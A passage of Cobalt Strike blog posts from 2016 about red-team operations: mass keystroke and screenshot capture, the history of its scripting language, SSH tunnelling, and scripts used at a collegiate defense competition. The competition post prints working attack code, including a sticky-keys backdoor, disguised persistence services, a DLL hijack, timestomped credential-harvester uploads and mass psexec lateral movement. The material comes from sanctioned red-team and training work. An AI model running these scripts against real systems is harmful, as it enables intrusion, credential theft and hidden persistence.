User Exploitation at Scale

April 28, 2016

Some hackers only think about access. It’s the precious. How to get that first shell? I don’t care too much about this. I’m concerned about the problems that come from having a lot of accesses. One of these problems has to do with user exploitation. If you have access to 50 or more systems at one time, how do you monitor what the users on those systems are up to?

At a certain point taking screenshots and logging keystrokes, one system at a time, isn’t very tractable. There is the analysis problem. How do you analyze and watch all of this information with few red team operations?

There is also the capability deployment problem. If you have 50+ accesses, it’s probably from lateral movement. If your payload is on a target in a SYSTEM context, you’re probably in no position to observe keystrokes or screenshots without migrating your payload or deploying your capability to the right process. Going through targets, one by one, to deploy a screenshot tool or keystroke logger is time consuming.

Cobalt Strike takes a stab at both of these problems. In this blog post, I’ll take you through Cobalt Strike’s post-3.0 model for user exploitation at scale.


The Data Browser

If one of your teammates takes a screenshot or starts a keystroke logger, the first question is: where do the results of these actions go? In Armitage, the answer is nowhere. Armitage’s model of collaboration isolates each operator from the post-exploitation actions other operators took. If a teammate takes a screenshot, there is no way for you to view that screenshot in Armitage. I see this as a shortcoming.

Cobalt Strike 3.0 does things much different from Armitage. Screenshots and Keystrokes in Cobalt Strike 3.0 are now dumped to one interface. I call it a data browser. Go to View -> Screenshots or View -> Keystrokes to access this information.


Through the data browser, any team member may watch screenshots and keystrokes as they show up. The data browser makes these post-exploitation features more collaboration friendly. It also aids analysis too. Depending on the workload, you may devote one team member to watching this information as it comes in and tipping off the rest of the team to systems/users they should pay attention to, right now.

Mass Deployment

I thought I was Mr. Clever when I implemented Cobalt Strike 3.0’s data browser. Then the deployment problem reared its ugly head. Post-exploitation features like screenshot tools and keystroke loggers are very dependent on the context of the process that they’re run in. On Windows, the desktop session you’re in matters a great deal. If the user’s processes are run in session 1 and your payload is hanging out in session 0, you’re not going to see any keystrokes. It’s very important to conduct post-exploitation from the user’s context.

Some penetration testing payloads offer a migrate capability. I hate payload migration. It’s a great way to lose your access. I prefer to inject my post-exploitation capability into a user’s process and have the capability report results back to my payload which continues to live in its SYSTEM-level context. This is Cobalt Strike’s approach to post exploitation.

Fortunately, Cobalt Strike 3.0 introduces a way to push post-exploitation features to the right process on many systems at once. This is done through the Process Browser.

Cobalt Strike’s Process Browser is designed to show processes for multiple sessions at one time. Simply highlight all of the accesses you want to deploy post-exploitation tools to. Right-click, go to Explore -> Show Processes. Cobalt Strike will ask each session to return a list of processes. As these sessions report back with information, the Process Browser will update.

Once all of your accesses have called home, simply sort by process name and scroll down to explorer.exe. You will now see all of the explorer.exe instances across all sessions that have called home.


Highlight the explorer.exe instances you want to inject Cobalt Strike’s post exploitation tools into. Press the Screenshot button to ask these sessions to deploy the screenshot tool to their respective explorer.exe processes. Press the Log Keystrokes button to deploy the keystroke logger to the highlighted explorer.exe processes.

That’s Cobalt Strike’s model for mass deployment of post-exploitation tools. With Cobalt Strike 3.0, you now have the tools to know what’s happening on each compromised system. Part 4 of Advanced Threat Tactics covers Post Exploitation with Cobalt Strike 3.x in more detail.


Aggressor Script’s Secret mIRC Scripting Past

April 6, 2016

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. If you want to learn more about it, I recommend reading the documentation. In this blog post, I’ll provide some history around Aggressor Script so you can better understand it and where it comes from.

The mIRC Factor

mIRC is a popular client for Internet Relay Chat. In the mid-nineties, I was part of a community of enthusiastic computer users who would interact with each other online. Through this community, I had mentors and I was exposed to Linux early on as well. mIRC was more than a GUI client to connect to IRC though. mIRC was also a programming environment. User scripts could create new IRC commands (aliases), respond to events, and even modify the presentation of mIRC’s output. This gave power users a lot of room to make mIRC their own.

How did we use this power? It depends on the user. Some would write theme scripts to express their artistic prowess. mIRC became their canvas, Cp437 characters their brushes. Others would write scripts to task multiple mIRC instances (clones) to send messages to a friend that elicit an automatic response. This friend’s automatic response to all mIRC instances would cause the IRC server to disconnect them for malicious flooding. These flooding games, among friends of course, were a popular use of mIRC scripting.

The jIRCii Factor

Inspired by my use of mIRC, I set out to build a cross-platform IRC client, jIRC. Later, I renamed this project to jiRCii. jIRCii was my first large software project. It was also my longest running project. I worked on variations jIRC/jIRCii from 1999 through my last update in 2011.


jIRCii was also scriptable AND it had an active scripting community for a time too. Users wrote theme scripts, integration with third-party programs, and various utilities to make it easier to manage IRC channels.

When I built jIRCii’s scripting features, I really wanted to capture the elements of mIRC scripting that I felt worked. I also wanted to do away with the elements that didn’t work for me. Aliases (the alias keyword) were a good abstraction to define new commands. This concept worked and it made its way into jIRCii. Events (the on keyword) were a good abstraction to respond to events from the IRC server and the IRC client itself. These made it into jIRCii as well.

mIRC scripters had a heavy desire to theme mIRC and present IRC events in different ways. Arguably, this theme was the identity of the script. Early on, scripts would couple the theme information and the script’s functionality together. This tied a script to one theme though. Later, scripts would feature custom theme files that separated the presentation of output from the script’s other functionality. The early implementations of these themes were aliases (these did double-duty as subroutines in mIRC) that followed a naming convention. For example:

     return < $+ $1 $+ > $2-

Scripts would hook the different mIRC events, execute their normal logic for these events, and finish up by calling the appropriate theme function and reporting its results back to the user. The popularity of this convention informed jIRCii’s set keyword. jIRCii’s set keyword allows scripters to define how the client presents any of its output to the user. In fact, the client doesn’t have a default presentation of anything. The client’s defaults are defined in a built-in script.


Delegating default presentation to a script also streamlined jIRCii’s development process. I could focus on core features without thinking too much about the aesthetics of a feature. When it came time to work on the aesthetics, I could try things without restarting the client.

I applied the same concepts to jIRCii’s menubar and context-sensitive popup menus as well. jIRCii doesn’t define these things in its code, it delegates all of them to the default script. Again, jIRCii’s abstraction for user-defined menus, popups, and menu items were inspired by mIRC’s scripting engine.

jIRCii’s Scripting Language

Early into jIRCii’s life, I dabbled with different ways to give users control over the client. In the late-90s and early-2000s, there were not a lot of scripting engines built on top of Java. There was Beanshell, whose goal was to stay as close to Java as possible. There was Jacl, which was TCL on Java. While TCL was used as a scripting engine in some IRC clients, I wasn’t able to wrap my head around it at the time. Years later, I appreciate TCL much more. And, there was Jython which was a Python implementation for Java.

I wasn’t in love with any of the above options as an embedded scripting language. I really wanted a small language that I could extend with new constructs that exposed my application’s features. My goal with the scripting feature set was to court mIRC users. To do so, I needed a solution that didn’t feel aesthetically alien to mIRC scripters. I also wanted something a first-time programmer could reasonably pick up on his or her own.

The Sleep Factor

I didn’t expect that I would write jIRCii’s general purpose scripting language. I also didn’t expect that Armitage/Cobalt Strike would evolve into a stand-alone offensive platform either. Sometimes, when you decide to see a project through, you sign up for much more than you expected. Here’s the story behind the Sleep scripting language.

A common exercise for undergraduate Computer Science students is to build a simple programming language. Like other Computer Science students, I went through the exercise of building a simple LISP-like language interpreter in LISP. This learning exercise was my first exposure to BNF, recursive descent parsers, Abstract Syntax Trees, and interpreters. This exercise clicked with me and it very much whetted my appetite to explore these ideas further.

After I turned in the above assignment, I decided to sequester myself in a campus computer lab for the weekend. I set out to define a small language with aesthetical similarities to my then-favorite language, Perl. I built a lexical analyzer, a parser, and an interpreter for this simple language in a few days. This was the first version of Sleep. That was 2002.


I saw Sleep as a potential solution to my scripting conundrum for jIRCii. I would build Sleep as a small extensible language to embed into other applications. My initial target application was jIRCii. In a way, Sleep and jIRCii co-evolved with each other.

I started work on Sleep 2.0 around 2005. To me, a change in major version represents a change in fundamental assumptions and a strategic shift. Cobalt Strike’s early versions dabbled in a lot of ideas beneficial to red teaming. Cobalt Strike 2.0 was a concrete shift towards threat emulation with Malleable C2. Cobalt Strike 3.0 re-built Cobalt Strike as a platform for Red Team Operations and Adversary Simulations without the Metasploit Framework. Sleep 2.0 was a similar major shift. Sleep evolved from a very simple language to one that could call into Java’s APIs. This gave my scripters benefits similar to the ones PowerShell scripters enjoy calling the .NET API from PowerShell. I also added closures, coroutines, and continuations as language features. These additions gave Sleep a lot of power.

Sleep’s last update was in 2009. I stopped working on Sleep because at that point, the project met its original goals. It was also stable and feature complete to a reasonable point.

Since the mid-2000s, I’ve used Sleep quite a lot. When I was at the Air Force Research Lab, I used Sleep as a scripting engine in my various project prototypes. I kept Sleep integrated into jIRCii and as I mentioned previously, jIRCii had a healthy scripting community. I built a web application container for Sleep and for a time, I used Sleep for limited web application work. I also built the After the Deadline software service in Sleep. Finally, I tried to use Sleep as an application language. The lucky project to receive this treatment? Armitage.

I consider that a failed experiment. Much like other scripting languages, Sleep has a concept of a Global Interpreter Lock. Sleep’s GIL is a nuisance when building a multi-threaded GUI application that needs to interact with a server component. My choice to use Sleep is partially responsible for Armitage’s tendency to deadlock and some of the performance issues. Cobalt Strike 3.0 and later do not use Sleep as the application implementation language.


Cortana is the scripting engine in Armitage. This was a seven-month effort funded by DARPA’s Cyber Fast Track program. It was Mudge’s intent that CFT fund new efforts, not enhancements to existing ones. To pitch Cortana for CFT, I had to have an angle. Armitage was already a decent effort exploring red team collaboration among human actors. Why not take this to the next level and explore red team collaboration ideas between humans and bots? This was the idea behind Cortana.

Fortunately, Cortana was not my first scriptable application rodeo. I had experience with a base language (Sleep). I also knew what it would take to integrate this base language into an application (thanks jIRCii). This made it easy to explore the ideas that were the meat of the effort (positive control concepts, a headless client for bots, etc.)

Cortana brought some of jIRCii (and mIRC)’s scripting concepts into Armitage. It had events to respond to things that happened on the team server and within the client. I had one milestone focused on APIs for the Armitage GUI itself (e.g., popup menus and the like). I also had a milestone to strip Armitage to nothing and re-implement Armitage’s features in Cortana. I wanted to see if I could push the balance of “default script” stuff much further than jIRCii. I wasn’t happy with the results of this particular experiment and decided against adopting this for production Armitage. Consequently, production Armitage delegated nothing to its built-in scripting engine.

I released Cortana at DEF CON 20. Not only was it the largest audience I’ve spoken to in one room. It was also the one time I lost my voice before a talk as well.

The Cortana technology in Cobalt Strike (prior to 3.0) was mostly the same as the Cortana technology in Armitage. Over time though, I noticed that Cobalt Strike users had a much higher interest in Cortana than Armitage users. I had a non-trivial number of customers who had unzipped the cobaltstrike.jar file, figured out the Beacon RPC API, and were building scripts with this to automate and control Beacon. This was a lot of effort for these users to go to. I tried to meet these users half-way by publishing a partial Cortana API to script and control Beacon. All of this was a big obvious sign that I needed to expose a way to script Cobalt Strike’s features.

The Dark Corners of Cobalt Strike 3.0

Cobalt Strike 3.0 was a ground-up rewrite of Cobalt Strike’s GUI client and team server, notably without dependence on the Metasploit Framework.

I’m often asked why I changed X or Y in Cobalt Strike 3.0. I’m sometimes asked why did I bother with such large changes to a mature product? Depending on the context, I give different answers. The full answer is this: I learned a lot about my red team user base while selling and building Cobalt Strike 2.5 and its predecessors. These lessons included things my product didn’t do well and things my product would need to handle, eventually, to stay relevant to that user base.

One example of this is logging and reporting. Prior to 3.0, Cobalt Strike’s logging was borderline useless. Also, prior to 3.0, Cobalt Strike’s reporting was potentially beneficial to a penetration tester, but it didn’t show much imagination for the red teaming use case. There are a lot of reasons these things were the way they were, but ultimately, the 3.0 work was a chance to set some of these things right. Today, the reporting and logging are cited as one of the strengths in Cobalt Strike 3.0 and later.

No single insight, feature, or need drove the development of Cobalt Strike 3.0. It was the accumulation of all the user needs I wanted to tackle, but couldn’t with the old codebase and its dependencies. I didn’t take this decision lightly though…

I’m a big fan of Joel Spolsky’s Joel on Software blog. One post that sticks with me is Things You Should Never Do, Part I. In this post, Joel describes this mistake as the single worst strategic mistake any company can make. What is it? It’s to rewrite their code from scratch. I, as a single developer, knowingly decided to commit this very sin. The decision to rewrite Cobalt Strike could have ruined my company and destroyed my professional efforts going back to late-2011. Bluntly, people do their jobs with this toolset and they pay fairly for the privilege. My biggest fear is that my instincts were off and I was investing in the wrong ideas.

Six months later, all signs seem to indicate that Cobalt Strike 3.0 was the right move. The new product is very stable and performs much better than its predecessors. To many of my users, 3.0 was business as usual. I seem to have kept the things they used Cobalt Strike for, added some things they wanted, and discarded what they didn’t use. I’ve used 3.0 a few times now and I’ve been very happy with it. It’s a good product and it’s fun to use.

Aggressor Script

Scripting is one of those places where Cobalt Strike 3.0 gave me a second chance. Aggressor Script is the Cobalt Strike 3.0 successor to Cortana. Aggressor Script is not compatible with Cortana. It can’t be. Cortana builds on Armitage’s interface to the Metasploit Framework. Aggressor Script builds on Beacon and Cobalt Strike 3.0’s team server.

During Cobalt Strike 3.0’s development, I had a rule: no experiments. I knew the risk I was (already) taking with the rewrite. I wanted to stick with my lessons learned and my personal best practices as much as possible.

Cobalt Strike 3.0’s first milestones were a team server and a simple GUI client. The team server would act as a broker to receive messages from clients, broadcast messages to clients, and play previous messages back to new clients. On this initial foundation, I built Cobalt Strike 3.0’s first feature: the event log.

I remember demoing this early progress to a customer. I had a /names command, /msg, and /me. I also had the ability to redefine Cobalt Strike’s presentation of event log output through a default script. I joked that my goal was to replace Cobalt Strike 2.5 with a very nice, very expensive, IRC client.

All joking aside, I borrowed a lot of concepts from jIRCii in the design of Cobalt Strike 3.0. This is especially evident with Aggressor Script. Aggressor Script uses the set keyword to define how the client presents output to the user. Aggressor Script uses the on keyword to respond to events. Aggressor Script also uses the alias keyword to define new commands in Beacon. I also use scripting conventions from jIRCii to script menus and keyboard shortcuts. Much like jIRCii, Cobalt Strike 3.0 defines its representation of events and menu structure in a default built-in script. A lot of these conventions in jIRCii were heavily inspired by mIRC scripting.

So there you have it, that’s Aggressor Script’s Secret mIRC scripting past. There’s an irony here. In the 90s, some folks would use the scripting engine in their chat program to build hacking tools. Now, 20 years later, I use the scripting engine in my hacking tool to build chat tools. Pretty funny.


Pics or it didn’t happen…

March 30, 2016

One of the most important things in a red teamer’s job is evidence. If you can’t demonstrate impact and make a risk real, it’s as if you didn’t find the problem. Screenshots go a long way towards this.

Cobalt Strike has several options to capture screenshots during your engagement. In this post, I’ll quickly take you through them.


The Ctrl+P shortcut snaps a picture of the current sessions in Cobalt Strike. If the pivot graph is active, you will get the whole graph (regardless of size) in one image.



The Ctrl+T shortcut takes a screenshot of the current Cobalt Strike tab.



The Ctrl+Shift+T shortcut takes a screenshot of your whole Cobalt Strike window.


Where do my screenshots go?

This is the best part. Cobalt Strike pushes these screenshots to the team server. This way, your screenshots and your team’s screenshots are in one place. The screenshots are located in the [/path/to/cobaltstrike]/logs/[date]/screenshots folder. Each screenshot’s name includes the time it was taken and the context it was taken from (e.g., the title of the tab).


Note: Target screenshots, taken during your post-exploitation activities, are organized and stored on the team server as well. These are located in:


Linux, Left out in the Cold?

March 23, 2016

I’ve had several folks ask about Linux targets with Cobalt Strike 3.0 and later. Beacon is a Windows-only payload. The big question becomes, how do you use Cobalt Strike to operate against Linux, BSD, and other UNIX flavored targets?

Cobalt Strike is not the master unified interface for all hacking tasks. Rather, Cobalt Strike is a toolset to facilitate targeted phishing, covert post-exploitation, and lateral movement in a typical Windows enterprise environment. I didn’t forget about other targets though. Beacon has a built-in port scanner to help find them. I also provide options to use Beacon as a communication layer to bring other tools into the engagement (when it makes sense).

It’s quite easy to use Cobalt Strike as a jumping off platform to reach UNIX server targets. In this blog post, I’ll share a few recipes to do so.

Access Strategies

Cobalt Strike does not have tools to find vulnerabilities in and exploit UNIX targets. If there’s an exploit or attack you want to use, tunnel it through Cobalt Strike’s Beacon.

Optionally, target a system administrator’s Windows workstation and use that access to steal trust material to take a UNIX target. There are a lot of options here.

Cobalt Strike has keystroke logging and screenshot tools designed for long-term operations. The Red Team Field Manual has an interesting recipe to log all keystrokes and output from Putty sessions. You can also look at tools like, PuttyRider, which lets you inject into Putty and do interesting things.

Finally, if you observe a user interacting with a web interface to a device or server, try a browser pivot to interact with that site, as them. Browser Pivoting is Cobalt Strike’s man-in-the-browser session hijacking capability.

Tunnel SSH over Beacon

Cobalt Strike’s Beacon exposes a SOCKS interface for pivoting. SOCKS is a standard for proxy servers and proxy-aware clients. To create a SOCKS interface tied to a Beacon:

1. Interact with a Beacon

2. Type sleep 0 to ask to the Beacon to check-in multiple times each second. A high check-in time will introduce latency into your tunneled traffic.

3. Type socks 1234 to create a SOCKS proxy server on port 1234 of your team server.

At this point, you have a listening socket, on your team server, ready to receive connections from proxy-aware clients. The Beacon associated with this SOCKS server will initiate any connections requested by a SOCKS client. Once a connection is made, Cobalt Strike relays all traffic between the SOCKS client and the new connection via Beacon’s communication path (whatever it is).


Some applications have built-in support for SOCKS. Other applications do not. If you want to use an application that is not SOCKS aware, try out proxychains.

The proxychains program accepts a program name and program arguments as its arguments. Any outbound TCP connection made the specified program is forced through a proxy server. This proxy configuration is specified in a global configuration file (/etc/proxychains.conf).

To tunnel SSH through a SOCKS proxy server with proxychains:

4. Open /etc/proxychains.conf with your favorite text editor.

5. Scroll to the bottom of the file.

6. Change the lines under [ProxyList] to:

socks4 1234

7. Save the file.

8. In a new terminal, type: proxychains ssh [email protected]

Your SSH session will now tunnel through Cobalt Strike’s Beacon payload.

Tunnel Beacon over SSH

You may run into a situation where you need to tunnel Cobalt Strike’s Beacon through a compromised Linux target to attack a Windows network. I’ve had this happen and I’ve heard stories from others with a similar situation. I can’t say this is something you’ll see often, but it’s a good exercise in tunneling flexibility.

Here’s the scenario:

I can reach a Linux target over SSH. This Linux target can talk to a Windows network I want to attack. I have credential material for the Linux target. I also have credential material for a Windows target. I want to attack the Windows target with Cobalt Strike.

Here are the steps:

1. From a red Linux asset, run: ssh –D 1080 [email protected]_target. This command will create an SSH session and a SOCKS proxy server, bound to port 1080 on the red Linux asset, that forwards all connections through the SSH tunnel. In effect, this proxy allows us to make connections from the compromised Linux target.

2. On the red Linux asset, forward port 445 to reach a Windows target through the SSH SOCKS Proxy server. Here’s the socat recipe for this: socat TCP4-LISTEN:445,fork SOCKS4: Anything that touches this red Linux asset on port 445, will now reach the Windows target on port 445.

3. Run a Beacon on a red Windows asset. Cobalt Strike’s attacks are deployed to and run by Beacon directly. This plays well with Cobalt Strike’s model of offense.

4. Create a named pipe listener in Cobalt Strike. Go to Cobalt Strike -> Listeners. Press Add. Choose the windows/beacon_smb/bind_pipe payload.

5. Through the red asset Beacon, create an access token from credential material for an Administrator user on the target Windows system. Use make_token [DOMAIN\user] [password] if you have credentials. Use pth [DOMAIN\user] [hash] if you have an NTLM hash.

6. Attack the Windows target (via the Linux port forward) with psexec or psexec_psh .


Cobalt Strike will run Beacon, stage it, and assume control of the host over port 445. Since we’re targeting a port forward on a pivot system, this process will ride over our SSH tunnel. You now have a Beacon foothold, in another network, tunneled through a Linux target.

Control UNIX Targets with PowerShell

rvrsh3ll published an Invoke-SSHCommand PowerShell cmdlet. This script runs a command over SSH and returns its output to you. Here’s how to use this script with Beacon:

1. Download the Misc-PowerShell Scripts repository from Github

git clone https://github.com/rvrsh3ll/Misc-Powershell-Scripts.git

2. Interact with a Beacon

3. Use powershell-import /path/to/Invoke-SSHCommand.ps1 to import rvrsh3ll’s script into Beacon.

4. Run powershell Invoke-SSHCommand –ip [target] –username [user] –password [password] –command “uname –a”

These steps will run the uname –a command on a target of your choosing. Be aware that this script does require .NET 3.5 on the target or it won’t work.

If you find it cumbersome to type these commands again and again, you can use Aggressor Script to define an ssh alias in Beacon:

# beacon> ssh [target] [user] [pass] "[command + args]"
alias ssh {
	($bid, $target, $user, $pass, $what) = @_;
	bpowershell_import($bid, script_resource("Invoke-SSHCommand.ps1"));
	bpowershell($bid, "Invoke-SSHCommand -IP $target -Username $user -Password $pass -Command \" $+ $what $+ \"");

The Post Exploitation and Pivoting lectures of Advanced Threat Tactics covers many of the concepts in this blog post.


My Cobalt Strike Scripts from NECCDC

March 16, 2016

I just returned from the North East Collegiate Cyber Defense Competition event at the University of Maine. A big congratulations to the winners, Northeastern University, who will go on to represent the North East region at the National event in April.

The more I use Cobalt Strike 3.x, the more I appreciate Aggressor Script. Aggressor Script is the scripting engine baked into Cobalt Strike. It makes it easy to extend the tool with new commands and automate tasks. This post is a collection of my scripts from the North East CCDC event.

Mass Tasking Beacons

Here and there, I would need to mass-task all Beacons to do something. For example, on late Saturday we wanted to display a YouTube video on all compromised desktops. Here’s how to mass task Beacons with Aggressor Script:

1. Go to the Aggressor Script Console (View -> Script Console)

2. Type:

x map({ bshell($1['id'], "command to run here"); }, beacons());

The above one-liner will run whatever command you want on all of your Beacons. Here’s a quick walk-through of what’s happening:

The x command is an Aggressor Script console command to evaluate a script expression. The beacons() function returns an array of Beacons known to the current Cobalt Strike instance. The map function loops over this array and calls the specified function once, for each element in this array. Within our function, $1 is the first argument and in this case it’s a dictionary with information about a specific Beacon. $1[‘id’] is the Beacon’s ID. In this example, our function simply uses bshell to ask a Beacon to run a command in a Windows command shell. Most Beacon commands have a function associated with them.

During the event, I was asked to deploy a credential-harvesting tool to all Beacons. This required uploading a DLL to a specific location and running a PowerShell script. I used the command keyword to define new commands in the Aggressor Script console to accomplish these tasks.

Here’s the command to upload a DLL to all Beacons:

command upall {
	foreach $beacon (beacons()) {
		$id = $beacon['id'];
		binput($id, "Deploying Silas stuff (uploading file)");
		bcd($id, 'c:\windows\sysnative');
		bupload($id, script_resource("windowsdefender.dll"));
		btimestomp($id, "windowsdefender.dll", "notepad.exe");

And, here’s the command to run a PowerShell script against all Beacons:

command deploy {
	foreach $beacon (beacons()) {
		$id = $beacon['id'];
		binput($id, "Deploying Silas stuff");
		bpowershell_import($id, script_resource("silas.ps1"));
		bpowershell($id, "2 + 2");

You’ll notice that I use bpowershell(“beacon ID”, “2 + 2”) here. I do this because the imported PowerShell script did not wrap its capability into a cmdlet. Instead, it would accomplish its task once it’s evaluated. The powershell-import command in Beacon is inert though. It makes a script available to the powershell command, but does not run it. To make the imported script run, I asked Beacon to evaluated a throw-away expression in PowerShell. Beacon would then run the imported script to make its cmdlets available to my expression.


I went with a simple Windows persistence strategy at NECCDC. I installed a variant of the sticky keys backdoor on all compromised Windows systems. I also created a service to run my DNS Beacons. I relied on DLL hijacking against explorer.exe to run HTTP Beacons. On domain controllers, I relied on a service to kick-off an SMB Beacon. I also enabled WinRM on all compromised Windows systems as well.

Here’s the function to setup the sticky keys backdoor and enable WinRM:

sub stickykeys {
	binput($1, 'stickykeys');
	bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f');
	bshell($1, 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f');
	bshell($1, 'REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d "0" /f');
	bshell($1, 'netsh firewall set service type = remotedesktop mode = enable');
	bshell($1, 'netsh advfirewall firewall set rule group="remote desktop" new enable=Yes');
	bshell($1, 'net start TermService');

	binput($1, 'enable WinRM');
	bpowershell($1, 'Enable-PSRemoting -Force');

And, here are the functions to deploy the different services:

sub persist_adsvc {
	if (-exists script_resource("adsvc.exe")) {
		binput($1, "service persistence (server) [AD]");
		bcd($1, 'c:\windows\system32');
		bupload($1, script_resource("adsvc.exe"));
		btimestomp($1, "adsvc.exe", "cmd.exe");
		bshell($1, 'sc delete adsvc');
		bshell($1, 'sc create adsvc binPath= "C:\windows\system32\adsvc.exe" start= auto DisplayName= "Active Directory Service"');
		bshell($1, 'sc description adsvc "Provides authentication and policy management for computers joined to domain."');
		bshell($1, 'sc start adsvc');

	else {
		berror($1, "adsvc.exe does not exist :(");

sub persist_netsys {
	if (-exists script_resource("netsys.exe")) {
		binput($1, "service persistence");
		bcd($1, 'c:\windows\system32');
		bupload($1, script_resource("netsys.exe"));
		btimestomp($1, "netsys.exe", "cmd.exe");
		bshell($1, 'sc delete netsys');
		bshell($1, 'sc create netsys binPath= "C:\windows\system32\netsys.exe" start= auto DisplayName= "System Network Monitor"');
		bshell($1, 'sc description netsys "Monitors the networks to which the computer has connected, collects and stores information about these networks, and notifies registered applications of state changes."');
		bshell($1, 'sc start netsys');
	else {
		berror($1, "netsys.exe does not exist :(");

sub persist_linkinfo {
	# dll hijack on explorer.exe
	if (-exists script_resource("linkinfo.dll")) {
		binput($1, "dropping linkinfo.dll persistence");
		bcd($1, 'c:\windows');
		bupload($1, script_resource("linkinfo.dll"));
		btimestomp($1, "linkinfo.dll", 'c:\windows\sysnative\linkinfo.dll');
	else {
		berror($1, "linkinfo.dll not found.");

Each of these functions requires that the appropriate artifact (adsvc.exe, netsys.exe, and linkinfo.dll) is pre-generated and co-located with the persistence script file. Make sure your linkinfo.dll is the right type of DLL for your target’s architecture (e.g., on an x64 system, linkinfo.dll must be an x64 DLL).

To deploy persistence, I opted to extend Beacon’s right-click menu with several options. This would allow me to send persistence tasks to a specific Beacon or multiple Beacons at one time.

Here’s the code for this menu structure:

popup beacon_top {
	menu "Persist" {
		item "Persist (DNS)" {
			foreach $bid ($1) {

		item "Persist (HTTP)" {
			foreach $bid ($1) {

		item "Persist (SMB)" {
			foreach $bid ($1) {

		item "Sticky Keys" {
			foreach $bid ($1) {

Managing DNS Beacons

Cobalt Strike’s DNS Beacon is one of my preferred persistent agents. The DNS Beacon gets past tough egress situations and a combination of high sleep time and multiple callback domains makes this a very resilient agent.

The downside to the DNS Beacon is it requires management. When a new DNS Beacon calls home, it’s blank. It’s blank because the DNS Beacon does not exchange information until you ask it to. This gives you a chance to specify how the DNS Beacon should communicate with you. Here’s a script that uses the beacon_initial_empty event to set a new DNS Beacon to use the DNS TXT record data channel and check in:

on beacon_initial_empty {
	binput($1, "mode dns-txt");
	bmode($1, "dns-txt");
	binput($1, "checkin");

Labeling Beacons

The NECCDC red team organizes itself by function. Parts of the red team went after UNIX systems. Others infrastructure. A few were on web applications. Myself and a few others focused on the Windows side. This setup means we’re each responsible for our attack surface on 10 networks. Knowing which Beacon is associated with each team is very helpful in this case. Fortunately, Aggressor Script helped here too.

First, I created a dictionary to associate IP ranges with teams:

%table["100.65.56.*"] = "Team 1";
%table["100.66.66.*"] = "Team 2";
%table["100.67.76.*"] = "Team 3";
%table["100.68.86.*"] = "Team 4";
%table["100.69.96.*"] = "Team 5";
%table["100.70.7.*"]  = "Team 6";
%table["100.71.17.*"] = "Team 7";
%table["100.72.27.*"] = "Team 8";
%table["100.73.37.*"] = "Team 9";
%table["100.74.47.*"] = "Team 10";

Then, I wrote a function that examines a Beacon’s meta-data and assigns a note to that Beacon with the team number.

sub handleit {
	local('$info $int');
	$info = beacon_info($1);
	$int = $info['internal'];
	foreach $key => $value (%table) {
		if ($key iswm $int) { bnote($1, $value); return; }

This isn’t the whole story though. Some of our persistent Beacons would call home with localhost as their address. This would happen when our Beacon service ran before the system had its IP address. I updated the above function to detect this situation and use bipconfig to fetch interface information on the system and update the Beacon note with the right team number.

sub handleit {
	local('$info $int');
	$info = beacon_info($1);
	$int = $info['internal'];
	foreach $key => $value (%table) {
		if ($key iswm $int) { bnote($1, $value); return; }

	# if we get here, IP is unknown.
	binput($1, "IP is not a team IP. Resolving");
	bipconfig($1, {
		foreach $key => $value (%table) {
			if ("* $+ $key" iswm $2) {
				binput($1, "IP info is $2");
				bnote($1, $value);

My script used the beacon_initial event to run this function when a new Beacon came in:

on beacon_initial {

I also had an Aggressor Script command (label) to manually run this function against all Beacons.

command label {
	foreach $beacon (beacons()) {

The end effect is we always had situational awareness about which teams each of our Beacons were associated with. This was extremely helpful throughout the event.

One-off Aliases

My favorite part of Aggressor Script is its ability to define new Beacon commands. These are called aliases and they’re defined with the alias keyword. Through NECCDC I put together several one-off commands to make my life easier.

One of our tasks was to expand from our foothold on a few Windows client systems to other systems. We had multiple approaches to this problem. Early on though, we simply scanned to find systems where the students disabled their host firewall. Here’s the alias I wrote to kick off Beacon’s port scanner with my preferred configuration:

alias ascan {
	binput($1, "portscan $2 445,139,3389,5985,135 arp 1024");
	bportscan($1, $2, "445,139,3389,5985,135", "arp", 1024);

To run this alias, I would simply type ascan [target range] in a Beacon console.

I also had an alias to quickly launch a psexec_psh attack against all the other client systems as well. I just had to type ownall and Beacon would take care of the rest.

alias ownall {
	bpsexec_psh($1, "ALDABRA", "Staging - HTTP Listener");
	bpsexec_psh($1, "RADIATED", "Staging - HTTP Listener");
	bpsexec_psh($1, "DESERT", "Staging - HTTP Listener");
	bpsexec_psh($1, "GOPHER", "Staging - HTTP Listener");
	bpsexec_psh($1, "REDFOOT", "Staging - HTTP Listener");

If you made it this far, I hope this post gives you a sense of the power available through Aggressor Script. I can’t imagine using Cobalt Strike without it. It’s made mundane tasks and on-the-fly workflow changes very easy to deal with.


Cobalt Strike 3.2 – The Inevitable x64 Beacon

March 10, 2016

Cobalt Strike 3.2, the third release in the 3.x series, is now available. The 3.2 release focuses on fixes and improvements across the Cobalt Strike product.

x64 Beacon

Cobalt Strike’s x86 Beacon plays pretty well in an x64 world. You can inject the keystroke logger and screenshot tools into 64-bit processes. If you run mimikatz or hashdump, Beacon uses the right build of these tools for the system you’re on. Cobalt Strike’s user-driven attacks even do the right thing when they land code execution in an x64 application.

That said, an x86-only payload is a burden. It limits which processes you can inject into. This can hurt your ability to hide. Cobalt Strike 3.2 resolves this with the introduction of the x64 Beacon.


From an operator perspective, not much is different. Cobalt Strike listeners prepare x86 and x64 Beacon stages. Beacon’s inject command has an architecture parameter now. The commands and workflows between the x86 and x64 Beacon are the same.

Target Acquisition via Groups

One of my go-to methods to discover hosts is to query the Domain Computers and Domain Controllers groups in a domain. These groups contain the computer accounts for systems joined to a domain. I usually use nslookup to map these names back to IP addresses.

Cobalt Strike 3.2 introduces automation for this process. The net computers command queries the above groups, resolves the names to IP addresses (where it can), and presents this information to you. Cobalt Strike also populates the targets data model with this target information.


Time to Reset

Jason stands up a Cobalt Strike team server. He configures a listener, sets up an attack package, and clones a website. Jason’s teammate, Jennifer, uses this team server to send a test phishing email to make sure it all works OK. Jason and Jennifer do not want this test to show up in Cobalt Strike’s reports. What do they do?

Jason and Jennifer tear down their team server, delete the data folder, start the team server, reconfigure everything, and hope they do it right. True story.

